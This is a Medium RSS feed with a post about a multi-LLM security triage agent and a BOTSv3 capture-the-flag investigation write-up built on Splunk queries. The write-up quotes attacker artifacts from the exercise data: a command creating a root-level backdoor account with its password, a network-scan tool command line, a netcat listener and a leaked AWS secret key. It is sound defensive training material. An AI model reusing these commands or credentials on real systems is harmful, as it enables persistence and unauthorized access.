<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by MoFahdel on Medium]]></title>
        <description><![CDATA[Stories by MoFahdel on Medium]]></description>
        <link>https://medium.com/@azizfadhel77?source=rss-2ee77b03e3e7------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*3wBmAkom8wpwjuMDJSem4w.jpeg</url>
            <title>Stories by MoFahdel on Medium</title>
            <link>https://medium.com/@azizfadhel77?source=rss-2ee77b03e3e7------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 02:32:09 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@azizfadhel77/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[I Built a SOC Agent That Disagrees With Itself — Here’s Why That Matters]]></title>
            <link>https://medium.com/@azizfadhel77/i-built-a-soc-agent-that-disagrees-with-itself-heres-why-that-matters-1686f8e9e9d5?source=rss-2ee77b03e3e7------2</link>
            <guid isPermaLink="false">https://medium.com/p/1686f8e9e9d5</guid>
            <category><![CDATA[security-operation-center]]></category>
            <category><![CDATA[langgraph]]></category>
            <category><![CDATA[llm]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[MoFahdel]]></dc:creator>
            <pubDate>Thu, 19 Mar 2026 20:20:19 GMT</pubDate>
            <atom:updated>2026-03-19T20:20:19.032Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/442/1*LVLkT7Xa7R1rRp-EYXf8DA.jpeg" /></figure><p>How a multi-LLM panel, MITRE STIX attribution, and a self-improving feedback loop turned a weekend project into a production-grade security triage system.</p><p>Imagine you’re a junior SOC analyst at 3 AM. An alert fires. You’ve got 90 seconds to decide: escalate or close? You’re tired. You might be wrong.</p><p>Now imagine a second analyst who’s seen every MITRE technique, has live threat intel on every IP, knows which APT groups use which tools, and can write you a Sigma rule before you’ve finished reading the alert.</p><p>That’s what JARVIS is. And here’s the part I’m most proud of: it doesn’t always agree with itself.</p><h3>The problem with single-LLM security tools</h3><p>Most AI security tools work like this: feed alert into LLM, get verdict out. The problem is that a single model has no way to flag its own uncertainty. It just… answers. With confidence. Even when it shouldn’t.</p><p>Real SOC work isn’t like that. When two experienced analysts disagree on a verdict, that disagreement is itself a signal — it means you need a human in the loop before you take action.</p><p>JARVIS is built around that idea.</p><h3>The architecture: 10 nodes, 3 LLMs, 1 pipeline</h3><pre>triage → second_opinion → enrich → correlate → profile <br>       → route → report → hunt → playbook → siem_export</pre><p>Every alert runs through 10 LangGraph nodes connected via the Model Context Protocol (MCP). Each node does one job, produces a full reasoning trace, and passes structured state to the next.</p><p>Here’s what each does:</p><p><strong>Triage</strong> — Groq’s Llama 3.3 70B classifies the alert: severity, verdict, MITRE tactic and technique, IOCs, and 3–5 extracted TTP IDs. This is the main model.</p><p><strong>Second Opinion</strong> — Mistral Small and Llama 3.1 8B vote independently on the same alert. If either contradicts the main model with &gt;60% confidence, the alert is flagged CONTESTED. If Groq says TRUE_POSITIVE/HIGH and a panelist says NEEDS_INVESTIGATION with &gt;70% confidence, that’s a SOFT conflict — also flagged. This mechanic alone has caught several misclassifications in testing.</p><p><strong>Enrich</strong> — all IOCs (IPs, domains, hashes, URLs) are enriched in parallel via asyncio.gather across OTX AlienVault, VirusTotal, and AbuseIPDB. Malicious IOCs escalate severity automatically.</p><p><strong>Correlate</strong> — IPs are tracked across alerts in a session store. Three hits from the same IP within an hour triggers CAMPAIGN DETECTED and forces severity to CRITICAL.</p><p><strong>Profile</strong> — here’s the part that surprised me. The full MITRE ATT&amp;CK STIX bundle (~15,000 objects) is cached locally. Every intrusion-set object (APT group) has a set of techniques. JARVIS matches the detected TTPs against every known threat actor group and ranks by overlap. 3 TTPs → medium confidence attribution. 5+ TTPs → high confidence. With the ransomware sample: T1486, T1070, T1562 matched Magic Hound and BlackByte at 0.667 overlap score. That&#39;s real STIX data, not a lookup table.</p><p><strong>Hunt</strong> — Groq generates three ready-to-paste detection queries: a full Sigma YAML rule, a KQL query for Microsoft Sentinel, and an SPL query for Splunk. After generation, JARVIS validates them structurally — Sigma must have a detection: block, KQL must have pipe operators, SPL must have an index= directive. If validation fails, it retries once with the specific errors appended to the prompt.</p><p><strong>Playbook</strong> — a 9-step IR runbook specific to the detected technique: steps 1–3 Containment, 4–6 Investigation, 7–9 Remediation, plus a Lessons Learned sentence.</p><p><strong>SIEM Export</strong> — every run writes jarvis_output/jarvis_&lt;timestamp&gt;.json with the full structured findings plus a CEF header for direct syslog forwarder ingestion.</p><h3>The result on a phishing alert</h3><p>I fed JARVIS this alert:</p><blockquote>User <a href="/service/mailto:cfo@company.com">cfo@company.com</a> clicked link in email from <a href="/service/mailto:noreply@mircrosoft-secure.com">noreply@mircrosoft-secure.com</a>. “<br> “Destination URL: <a href="https://mircrosoft-secure.com/login">https://mircrosoft-secure.com/login</a> (typosquatted Microsoft domain). “<br> “Credential submission detected immediately after. “<br> “New inbox forwarding rule created: all mail → <a href="/service/mailto:attacker@protonmail.com">attacker@protonmail.com</a>. “<br> “Login from 91.108.4.128 (Telegram infrastructure / RU) detected 4 minutes later.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3yI7ilXN16nwralDjFAgCA.png" /></figure><h3>The part most people skip: the feedback loop</h3><p>After every run, JARVIS asks: “Was I correct? (y/n)”</p><p>That answer gets written to a JSONL store. After a few runs, python feedback.py shows you your accuracy rate, which verdict categories are wrong most often, and which MITRE tactics you&#39;re misclassifying.</p><p>Then there’s layer 3: python feedback.py --evolve. JARVIS reads all the wrong calls, sends them to Groq along with the current triage prompt, and asks it to rewrite the prompt to avoid those patterns. The new prompt is saved to .evolved_prompt.txt — the analyst reviews it and applies it manually. The system can improve its own prompts from its own mistakes.</p><p>This is the feature that makes it a system rather than a script.</p><h3>What I’d build next</h3><p>The honest gaps: the web UI doesn’t exist yet (terminal-only), single-technique alerts still produce low-confidence APT matches, and the Sigma ingest only pulled 41 rules before GitHub rate-limited me. None of those are blocking for a portfolio project, but they’d be the first things to fix for a real deployment.</p><p>The most interesting next step would be true multi-tenant memory — letting JARVIS build a persistent threat model for a specific organization over time, so alert 100 has context from alerts 1–99. That’s where an agent like this starts to become genuinely useful in production.</p><h3>Try it yourself</h3><p>The full code is on GitHub: <a href="https://github.com/MohamedAzizFadhel/Jarvis"><strong>https://github.com/MohamedAzizFadhel/Jarvis</strong></a></p><p>All APIs have free tiers. Setup takes about 20 minutes. The README walks through every step.</p><p>If you’re building something in the AI security space, or just want to understand how LangGraph + MCP works in a real agentic system, the codebase is worth reading. The agent.py file in particular shows how to build a proper async multi-node graph where every node is independently testable and every state transition is traceable.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1686f8e9e9d5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[# BOTSv3 Security Investigation Report]]></title>
            <link>https://medium.com/@azizfadhel77/botsv3-security-investigation-report-e69446603f6b?source=rss-2ee77b03e3e7------2</link>
            <guid isPermaLink="false">https://medium.com/p/e69446603f6b</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bots]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[siem]]></category>
            <category><![CDATA[splunk]]></category>
            <dc:creator><![CDATA[MoFahdel]]></dc:creator>
            <pubDate>Sat, 08 Nov 2025 17:07:40 GMT</pubDate>
            <atom:updated>2026-03-19T20:21:52.667Z</atom:updated>
            <content:encoded><![CDATA[<h3>BOTSv3 Security Investigation Report</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hx0pxw0XsXTMjZt6OiiKww.png" /></figure><p>Executive Summary</p><p>This report documents a comprehensive security investigation of the Frothly Corporation breach using Splunk’s Boss of the SOC version 3 (BOTSv3) dataset. The investigation uncovered a sophisticated multi-stage attack involving AWS credential compromise, cryptocurrency mining operations, and an advanced persistent threat (APT) campaign attributed to the Taedonggang adversary group.</p><p><strong>Key Findings</strong>:</p><p>- AWS credentials leaked to public GitHub repository<br>- S3 bucket misconfiguration exposing sensitive data<br>- Cryptocurrency mining malware deployed on corporate endpoints<br>- APT infiltration via macro-enabled phishing documents<br>- Unauthorized user account creation across Windows and Linux systems<br>- Command and Control (C2) infrastructure establishing persistent access<br>- Exfiltration of 8 customer email records</p><p>— -</p><p>Day 1: AWS Infrastructure Investigation</p><p>200 Series — Cloud Security Analysis</p><p>Q200: IAM User Activity Assessment</p><p><strong>Objective</strong>: Identify all IAM users accessing AWS services in Frothly’s environment</p><p><strong>Query</strong>:</p><blockquote>```spl<br>index=”botsv3&quot; sourcetype=”aws:cloudtrail” userIdentity.type=IAMUser <br>| stats count by userIdentity.userName<br>```</blockquote><p><strong>Analysis</strong>: This query leverages CloudTrail logs to enumerate IAM users and their activity patterns. Understanding the complete user landscape is essential for identifying unauthorized access and establishing baseline behaviors.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tC0JBjwiteXb_9FHsC-8PA.png" /></figure><p>— -</p><p>Q201: Multi-Factor Authentication Monitoring</p><p><strong>Question</strong>: What field would you use to alert that AWS API activity has occurred without MFA?</p><blockquote><strong>Answer: </strong>`userIdentity.sessionContext.attributes.mfaAuthenticated`</blockquote><p><strong>Security Significance</strong>: This field is critical for detecting high-risk API operations performed without multi-factor authentication. Any administrative actions without MFA should trigger immediate security review.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rsk1GqnUkBbcHO2QnsTWcw.png" /></figure><p>— -</p><p>Q202: Web Server Infrastructure Details</p><p><strong>Question</strong>: What is the processor number used on the web servers?</p><p><strong>Query</strong>:</p><blockquote>```spl<br>index=botsv3 eventsource=hardware<br>```</blockquote><p><strong>Answer</strong>: Intel(R) Xeon(R) CPU E5–2676 v3 @ 2.40GHz</p><p><strong>Context</strong>: Understanding hardware specifications helps establish performance baselines and identify anomalous resource consumption, particularly relevant for detecting cryptocurrency mining activity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CDFQXtALRO6P97XfacInFw.png" /></figure><p>— -</p><p>Critical Incident: S3 Bucket Exposure</p><p>Q204: Public S3 Bucket Misconfiguration</p><p><strong>Question</strong>: Bud accidentally makes an S3 bucket publicly accessible. What is the event ID of the API call that enabled public access?</p><p><strong>Query</strong>:</p><blockquote>```spl<br>index=botsv3 sourcetype=aws:cloudtrail (putbucketacl OR “put-bucket-acl”) <br>“requestParameters.AccessControlPolicy.AccessControlList.Grant{}.Grantee.URI”=”<a href="http://acs.amazonaws.com/groups/global/AllUsers">http://acs.amazonaws.com/groups/global/AllUsers</a>&quot;<br>```</blockquote><p><strong>Analysis</strong>: The query identifies the `PutBucketAcl` API call that granted public access to all users. This is a severe misconfiguration that could expose sensitive company data.</p><blockquote>Reference: [AWS S3 PutBucketAcl API Documentation](<a href="https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketAcl.html">https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketAcl.html</a>)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SJF1Dtb9i3RpxyAUV2230g.png" /></figure><p><strong>Key Findings:</strong></p><p>- <strong>Affected Bucket</strong>: frothlywebcode<br>- <strong>User</strong>: bstoll (Bud Stoll)<br>- <strong>Security Context</strong>: Connection established without MFA protection</p><p>— -</p><p>Q205: User Identification</p><p><strong>Question</strong>: What is Bud’s username?</p><p><strong>Answer</strong>: bstoll</p><p><strong>Investigation Summary</strong>:</p><p>- Username: bstoll<br>- MFA Status: Not authenticated<br>- Exposed Resource: S3 bucket “frothlywebcode”</p><p>— -</p><p>Q207: Unauthorized File Upload Analysis</p><p><strong>Question</strong>: What is the name of the text file that was successfully uploaded into the S3 bucket while it was publicly accessible?</p><p><strong>Query</strong>:</p><blockquote>```spl<br>index=botsv3 *.txt sourcetype=”aws:s3:accesslogs”<br>```</blockquote><p><strong>Answer</strong>: OPEN_BUCKET_PLEASE_FIX.txt</p><p><strong>Analysis</strong>: The file name suggests either security testing or malicious reconnaissance. The source system (BSTOLL-L.froth.ly running Windows Enterprise) uploaded this file during the public access window.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8roqQDW6GTa3ov92SOPTLg.png" /></figure><p>— -</p><p>Endpoint Security Assessment</p><p>Q208: Operating System Inventory</p><p><strong>Question</strong>: What is the FQDN of the endpoint that is running a different Windows operating system edition than the others?</p><p><strong>Query</strong>:</p><blockquote>```spl<br>index=botsv3 sourcetype=”winhostmon” source=operatingsystem <br>| table OS, host<br>| dedup host<br>```</blockquote><p><strong>Answer</strong>: BSTOLL-L.froth.ly (Windows Enterprise)</p><p><strong>Significance</strong>: This endpoint is an outlier in the environment, making it a prime candidate for targeted attacks or unauthorized activities. The `winhostmon` sourcetype provides detailed OS information through nested fields.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lAcCk1ULIGFZLOOmyH0k9A.png" /></figure><p>— -</p><p>Cryptocurrency Mining Investigation</p><p>Q209: CPU Utilization Anomaly Detection</p><p><strong>Question</strong>: A Frothly endpoint exhibits signs of coin mining activity. What is the name of the second process to reach 100 percent CPU processor utilization time from this activity on this endpoint?</p><p><strong>Query</strong>:</p><blockquote>```spl<br>index=botsv3 sourcetype=”perfmonmk:process” “%_Processor_Time”=100<br>| table _time host instance %_Processor_Time<br>| dedup instance<br>| sort + _time<br>```</blockquote><p><strong>Analysis</strong>: Multiple processes exhibited sustained 100% CPU utilization, a clear indicator of cryptocurrency mining malware. The performance monitoring data reveals abnormal resource consumption patterns.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pk587EpOEkyHB0JISEwQRw.png" /></figure><p>— -</p><p>Q210: Monero Mining Endpoint Identification</p><p><strong>Question</strong>: What is the short hostname of the only Frothly endpoint to actually mine Monero cryptocurrency?</p><p><strong>Answer</strong>: BSTOLL-L</p><p><strong>Investigation Method</strong>: Logical correlation of previous findings:</p><p>- S3 bucket exposure incident<br>- Unusual Windows Enterprise OS configuration<br>- Sustained CPU utilization anomalies<br>- All evidence points to BSTOLL-L as the compromised mining endpoint</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*5If-1KewBUuyI5zQnMM_tw.png" /></figure><p>— -</p><p>Q211: Threat Signature Analysis</p><p><strong>Question</strong>: Using Splunk’s event order functions, what is the first seen signature ID of the coin miner threat according to Frothly’s Symantec Endpoint Protection (SEP) data?</p><p><strong>Data Source</strong>: Symantec Endpoint Protection logs</p><p><strong>Context</strong>: Symantec Endpoint Protection is a comprehensive security suite developed by Broadcom (formerly Symantec) that provides real-time threat detection for endpoint devices.</p><p><strong>Answer</strong>: CIDS Signature ID: 30358</p><p><strong>Method</strong>: Examining events in chronological order to identify the initial detection signature.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*b6WYTdkQd5Nhn241sxQVHA.png" /></figure><p>— -</p><p>Q212: Attack Classification</p><p><strong>Question</strong>: What is the name of the attack?</p><p><strong>Answer</strong>: JSCoinminer Download 8</p><p><strong>Analysis</strong>: This signature identifies JavaScript-based cryptocurrency mining malware, commonly delivered through browser-based attacks or malicious downloads.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*B8ZJd5ww8wYIGqMz6AMYAw.png" /></figure><p>— -</p><p>Q213: Threat Severity Assessment</p><p><strong>Question</strong>: According to Symantec’s website, what is the severity of this specific coin miner threat?</p><p><strong>Answer</strong>: Medium</p><blockquote>Reference: [Broadcom Security Center — Attack Signature 30358](<a href="https://www.broadcom.com/support/security-center/attacksignatures/detail?asid=30358">https://www.broadcom.com/support/security-center/attacksignatures/detail?asid=30358</a>)</blockquote><p><strong>Risk Analysis</strong>: While rated as medium severity, cryptocurrency mining can significantly impact business operations through resource degradation and increased infrastructure costs.</p><p>— -</p><p>Q214: Threat Remediation Evidence</p><p><strong>Question</strong>: What is the short hostname of the only Frothly endpoint to show evidence of defeating the cryptocurrency threat?</p><p><strong>Status</strong>: Pass — Evidence poorly indexed</p><p>Note: Insufficient logging data available to definitively identify successful threat remediation on specific endpoints.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*B8ZJd5ww8wYIGqMz6AMYAw.png" /></figure><p>— -</p><p>AWS Credential Compromise Investigation</p><p>Q215: Access Key Error Analysis</p><p><strong>Question</strong>: What IAM user access key generates the most distinct errors when attempting to access IAM resources?</p><p><strong>Query</strong>:</p><blockquote>```spl<br>index=botsv3 sourcetype=”aws:cloudtrail” userIdentity.accessKeyId=* errorCode=AccessDenied<br>| stats count by userIdentity.accessKeyId<br>```</blockquote><p><strong>Answer</strong>: AKIAJOGCDXJ5NW5PXUPA</p><p><strong>Significance</strong>: This access key generated the highest volume of AccessDenied errors, indicating unauthorized access attempts by an adversary probing IAM permissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HaD2bvu5GxhRH5YUwevv2Q.png" /></figure><p>— -</p><p>Q216: AWS Security Incident Response</p><p><strong>Question</strong>: Bud accidentally commits AWS access keys to an external code repository. Shortly after, he receives a notification from AWS that the account had been compromised. What is the support case ID that Amazon opens on his behalf?</p><p><strong>Investigation Approach:</strong> AWS automatically emails account owners when security tools detect credential exposure.</p><p><strong>Query</strong>:</p><blockquote>```spl<br>index=botsv3 sourcetype=”stream:smtp” aws<br>```</blockquote><p><strong>Findings</strong>:</p><p>- <strong>Detection Method</strong>: GitGuardian automated credential scanning<br>- <strong>AWS Response</strong>: Automatic support case creation<br>- <strong>Support Case ID</strong>: 5244329601<br>- <strong>Subject Line</strong>: “Amazon Web Services: New Support case: 5244329601”</p><p><strong>Analysis</strong>: This demonstrates the effectiveness of automated credential scanning services and AWS’s proactive security monitoring.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bmRij7lPsd8vcSZRS294YQ.png" /></figure><p>— -</p><p>Q217: Secret Access Key Recovery</p><p><strong>Question</strong>: AWS access keys consist of two parts: an access key ID and a secret access key. What is the secret access key of the key that was leaked to the external code repository?</p><p><strong>Investigation Method</strong>: Email content analysis revealed the GitHub repository URL containing the leaked credentials.</p><blockquote><strong>Repository</strong>: [FrothlyBeers/BrewingIOT — aws_credentials.bak](<a href="https://github.com/FrothlyBeers/BrewingIOT/blob/e4a98cc997de12bb7a59f18aea207a28bcec566c/MyDocuments/aws_credentials.bak">https://github.com/FrothlyBeers/BrewingIOT/blob/e4a98cc997de12bb7a59f18aea207a28bcec566c/MyDocuments/aws_credentials.bak</a>)</blockquote><p><strong>Answer</strong>: Bx8/gTsYC98T0oWiFhpmdROqhELPtXJSR9vFPNGk</p><p><strong>Critical Security Impact</strong>: Complete credential pair exposed in public repository, enabling full unauthorized access to AWS resources.</p><p>— -</p><p>Q218: Unauthorized Resource Access Attempt</p><p>Question: Using the leaked key, the adversary makes an unauthorized attempt to create a key for a specific resource. What is the name of that resource?</p><p><strong>Query</strong>:</p><blockquote>```spl<br>index=botsv3 sourcetype=aws:cloudtrail <br>userIdentity.accessKeyId=AKIAJOGCDXJ5NW5PXUPA eventName=CreateAccessKey<br>```</blockquote><p><strong>Answer</strong>: user nullweb_admin</p><p><strong>Error Message</strong>: “User: arn:aws:iam::622676721278:user/web_admin is not authorized to perform: iam:CreateAccessKey on resource: user nullweb_admin”</p><p><strong>Analysis</strong>: The adversary attempted to create additional access keys for privilege escalation but was blocked by IAM permissions. This demonstrates the importance of principle of least privilege.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9_hjKwJJ67ZVYVMdUicMdg.png" /></figure><p>— -</p><p>Q219: Adversary Tooling Identification</p><p><strong>Question</strong>: Using the leaked key, the adversary makes an unauthorized attempt to describe an account. What is the full user agent string of the application that originated the request?</p><p><strong>Query</strong>:</p><blockquote>```spl<br>index=botsv3 sourcetype=aws:cloudtrail <br>userIdentity.accessKeyId=AKIAJOGCDXJ5NW5PXUGA eventName=DescribeAccountAttributes<br>```</blockquote><p><strong>Answer</strong>: ElasticWolf/5.1.6</p><p><strong>Analysis</strong>: ElasticWolf is a legitimate AWS management client, demonstrating the adversary’s use of standard administrative tools to blend in with normal traffic and evade detection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oR-0QQDXwm5yOk14xrQSTQ.png" /></figure><p>— -</p><p>Day 2: Advanced Persistent Threat Investigation</p><p>300 Series — APT Campaign Analysis</p><p>Q300: Malicious File Upload to Cloud Storage</p><p><strong>Question</strong>: What is the full user agent string that uploaded the malicious link file to OneDrive?</p><p><strong>Investigation Context</strong>: The `ms:o365:management` sourcetype provides detailed Office 365 activity logs. Key fields include:</p><p>- <strong>Workload</strong>: Identifies which O365 product (OneDrive, SharePoint, etc.)<br>- <strong>SourceFileExtension</strong>: File type information<br>- <strong>Operation</strong>: Nature of the action performed</p><p><strong>Query</strong>:</p><blockquote>```spl<br>index=botsv3 *.lnk onedrive sourcetype=”ms:o365:management” Operation=FileUploaded<br>```</blockquote><p><strong>Answer</strong>: Mozilla/5.0 (X11; U; Linux i686; ko-KP; rv: 19.1br) Gecko/20130508 Fedora/1.9.1–2.5.rs3.0 NaenaraBrowser/3.5b4</p><p><strong>Critical Intelligence</strong>: NaenaraBrowser is a North Korean browser (ko-KP locale), providing strong attribution to the Taedonggang adversary group with North Korean nexus.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G1Xvi_gYl-d1j_NjxEmb2Q.png" /></figure><p>— -</p><p>Malware Delivery and Initial Access</p><p>Q301: Macro-Enabled Malware Identification</p><p>Question: What was the name of the macro-enabled attachment identified as malware?</p><p><strong>Investigation Approach</strong>: The keywords “macro-enabled attachment” suggest examining email traffic for malicious Office documents.</p><p><strong>Query</strong>:</p><blockquote>```spl<br>index=botsv3 sourcetype=”stream:smtp” *malware* *alert*<br>```</blockquote><p><strong>Findings</strong>:</p><p>- <strong>Email Alert</strong>: “Malware was detected in one or more attachments included with this email message.”<br>- <strong>Action Taken</strong>: “All attachments have been removed.”<br>- <strong>Filename</strong>: Frothly-Brewery-Financial-Planning-FY2019-Draft.xlsm<br>- <strong>Malware Family</strong>: W97M.Empstage</p><p><strong>Analysis</strong>: Classic phishing attack using financial-themed lure document with embedded macro malware. The email security system successfully detected and quarantined the threat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*bRiG-HF5DGwQsO1YAj5aTw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*QTQovSe0XC9SbjAIQvvPBw.png" /></figure><p>— -</p><p>Q302: Embedded Executable Extraction</p><p><strong>Question</strong>: What is the name of the executable that was embedded in the malware? Include the file extension.</p><p><strong>Query</strong>:</p><blockquote>```spl<br>index=botsv3 *.xlsm “C:\\Users\\BruceGist\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\LocalState\\Files\\S0\\3\\Frothly-Brewery-Financial-Planning-FY2019-Draft”<br>```</blockquote><p><strong>Answer</strong>: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.10228.20127.0_x64__8wekyb3d8bbwe\HxTsr.exe</p><p><strong>Analysis</strong>: The malware extracted and executed HxTsr.exe from within legitimate Windows application directories, a common evasion technique to blend malicious processes with benign system files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tloIv0zbIQSzL0CiwAR6Xg.png" /></figure><p>— -</p><p>Lateral Movement and Persistence</p><p>Q303: Linux System Compromise</p><p><strong>Question</strong>: What is the password for the user that was successfully created by the user “root” on the on-premises Linux system?</p><p><strong>Query</strong>:</p><blockquote>```spl<br>index=botsv3 “useradd” host=hoth<br>```</blockquote><p><strong>Command Executed</strong>:</p><blockquote>```bash<br>useradd -ou tomcat7 -p ilovedavidverve 0 -g 0 -M -N -r -s /bin/bash<br>```</blockquote><p><strong>Answer</strong>: ilovedavidverve</p><p><strong>Critical Findings</strong>:</p><p>- <strong>Username</strong>: tomcat7<br>- <strong>Primary Group</strong>: 0 (root)<br>- <strong>Shell</strong>: /bin/bash<br>- <strong>User ID</strong>: 0 (root privileges)</p><p><strong>Security Impact</strong>: The adversary created a root-privileged user account, establishing persistent administrative access to the Linux server (hoth).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*veFB3oM8ccRJKrR_IXC1jA.png" /></figure><p>— -</p><p>Q304: Windows Endpoint Compromise</p><p><strong>Question</strong>: What is the name of the user that was created after the endpoint was compromised?</p><p><strong>Query</strong>:</p><blockquote>```spl<br>index=botsv3 EventCode=4720<br>```</blockquote><p><strong>Answer</strong>: svcvnc</p><p><strong>Context</strong>: Windows Event Code 4720 logs user account creation events, providing visibility into unauthorized account additions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YaAGzSsdNaUwiG91VfeUtw.png" /></figure><p>— -</p><p>Q305: Privilege Escalation Analysis</p><p><strong>Question</strong>: Based on the previous question, what groups was this user assigned to after the endpoint was compromised?</p><p><strong>Query</strong>:</p><blockquote>```spl<br>index=botsv3 svcvnc<br>```</blockquote><p><strong>Answer</strong>:</p><p>- Administrators<br>- Users</p><p><strong>Security Impact</strong>: Assignment to the Administrators group grants the adversary full control over the compromised Windows endpoint, enabling further lateral movement and data access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ic7-wJm2UG_b1WzTLeRsqw.png" /></figure><p>— -</p><p>Network Reconnaissance Activities</p><p>Q306: Backdoor Port Identification</p><p><strong>Question</strong>: What is the process ID of the process listening on a “leet” port?</p><p><strong>Query</strong>:</p><blockquote>```spl<br>index=botsv3 netcat<br>```</blockquote><p>Findings:</p><p>- <strong>Port</strong>: 1337 (commonly called “leet port” in hacker culture)<br>- <strong>Process</strong>: Netcat<br>- <strong>Process ID</strong>: 14356</p><p><strong>Analysis</strong>: Netcat is a networking utility often used by attackers for backdoor access, file transfers, and port scanning. Listening on port 1337 indicates intentional adversary activity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7G_eBWF44mXQ4ihJ5h64xw.png" /></figure><p>— -</p><p>Q307: Network Scanning Tool Deployment</p><p><strong>Question</strong>: What is the MD5 value of the file downloaded to Fyodor’s endpoint system and used to scan Frothly’s network?</p><p><strong>Query (Process Discovery)</strong>:</p><blockquote>```spl<br>index=botsv3 sourcetype=”wineventlog:*” host=”fyodor-l” *.exe NOT “C:\\Program” <br>| stats count by New_Process_Name<br>```</blockquote><p><strong>Identified Tool</strong>: C:\Windows\Temp\hdoor.exe</p><p><strong>Command Line Arguments</strong>:</p><blockquote>```<br>“C:\windows\temp\hdoor.exe” -hbs 192.168.9.1–192.168.9.50 /b /m /n<br>```</blockquote><p><strong>Query (Hash Retrieval)</strong>:</p><blockquote>```spl<br>index=botsv3 sourcetype=”xmlwineventlog:microsoft-windows-sysmon/operational” <br>host=”FYODOR-L” hdoor<br>```</blockquote><p><strong>Answer</strong>: 586EF56F4D8963DD546163AC31C865D7</p><p><strong>Analysis</strong>: HDoor is a scanning and backdoor tool deployed to the temporary directory. The command line shows a targeted scan of the 192.168.9.1–50 subnet for internal reconnaissance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cIhloEXQ8voKignHgbIWAw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hY7W0UpUyUHUJ4wAiDofJg.png" /></figure><p>— -</p><p>Q308: Attack Tool Download Port</p><p><strong>Question</strong>: What port number did the adversary use to download their attack tools?</p><p><strong>Query</strong>:</p><blockquote>```spl<br>index=botsv3 host=”FYODOR-L” sourcetype=”stream:http” dest_port=3333<br>```</blockquote><p><strong>Answer</strong>: 3333</p><p><strong>Note</strong>: While the destination port is clear from network traffic analysis, the operational context of this specific download channel requires additional investigation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2ZyIZx5FTmO8uumRqhDbtw.png" /></figure><p>— -</p><p>Q309: Attack Tool Package Identification</p><p><strong>Question</strong>: Based on the information gathered for question 1, what file can be inferred to contain the attack tools?</p><p><strong>Answer</strong>: logos.png</p><p><strong>Analysis</strong>: Network traffic analysis reveals the URI path showing logos.png as the downloaded file. The adversary used an image file extension for evasion, likely containing encoded or steganographically hidden attack tools.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I5ZiSD0FSVZ18wckUGf38w.png" /></figure><p>— -</p><p>Linux Server Compromise</p><p>Q310: Remote File Staging</p><p><strong>Question</strong>: During the attack, two files are remotely streamed to the /tmp directory of the on-premises Linux server by the adversary. What are the names of these files?</p><p><strong>Query</strong>:</p><blockquote>```spl<br>index=botsv3 /tmp host=hoth sourcetype=”osquery:results” <br>| stats count by columns.target_path<br>```</blockquote><p><strong>Answer</strong>:</p><p>1. /tmp/definitelydontinvestigatethisfile.sh<br>2. /tmp/colonel</p><p><strong>Analysis</strong>: The file naming demonstrates adversary awareness of defensive monitoring practices. OSQuery results provide detailed endpoint visibility into file system activities. The .sh extension indicates a shell script, while “colonel” suggests a compiled binary or additional payload.</p><figure><img alt="" 